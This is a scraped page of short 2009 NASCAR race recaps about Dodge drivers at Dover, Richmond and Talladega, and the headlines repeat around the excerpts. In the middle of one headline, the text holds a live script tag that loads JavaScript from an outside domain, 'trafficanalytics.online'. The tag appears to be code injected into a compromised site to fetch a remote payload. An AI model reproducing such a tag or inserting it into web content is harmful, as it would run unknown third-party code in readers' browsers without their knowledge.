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Weekend Recap: Busch, Kahne Earn Top 10s at Dover; Dodge Places Four in Top 20

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DOVER, Del., (May 31, 2009) – The one-mile concrete oval of Dover International Speedway served up a mild impersonation of its ‘Monster Mile’ nickname at Sunday’s Autism Speaks 400. Notorious for chewing up race cars and frustrating drivers, Dover was mild-mannered and well-behaved.

With heavy over-night rain showers, Dodge drivers were greeted by a green racing surface with limited rubber build up, forcing crew chiefs and drivers to chase an unknown race track. NASCAR issued a mandatory competition yellow flag…

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Weekend Recap: Busch, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Kahne Earn Top 10s at Dover; Dodge Places Four in Top 20

Sam Hornish Jr. Posts Career-Best Sprint Cup Finish At Richmond

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RICHMOND, Va. (Saturday, May 2, 2009) – Sam Hornish Jr. drove the No. 77 Mobil 1 Dodge Charger to a sixth-place finish Saturday night in the Crown Royal 400 at Richmond International Raceway, a career-best in NASCAR Sprint Cup Series competition.

Hornish collected his first top 10 in his 44th Sprint Cup start just two weeks earlier at Phoenix, a one-mile oval. Saturday night’s effort came on RIR’s .75-mile layout. He started 28th but had worked his way to 18th by lap 65…

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Sam Hornish Jr. Posts Career-Best Sprint Cup Finish At Richmond

Weekend Recap: Kurt Busch Takes NASCAR Sprint Cup Series Point Lead

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TALLADEGA, Ala. (Sunday, April 26, 2009) – Kurt Busch is the NASCAR Sprint Cup Series point leader.

There were visible battle scares on the No. 2 Miller Lite Dodge when the checkered flag ended Sunday’s Aaron’s 499 at Talladega Superspeedway, but not enough damage to keep Busch from posting a solid sixth-place finish and jump two spots to the top of the driver standings.

It’s Busch’s third consecutive top-10 finish and sixth of the season including a win at Atlanta. He is the first Dodge driver to lead…

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Weekend Recap: Kurt Busch Takes NASCAR Sprint Cup Series Point Lead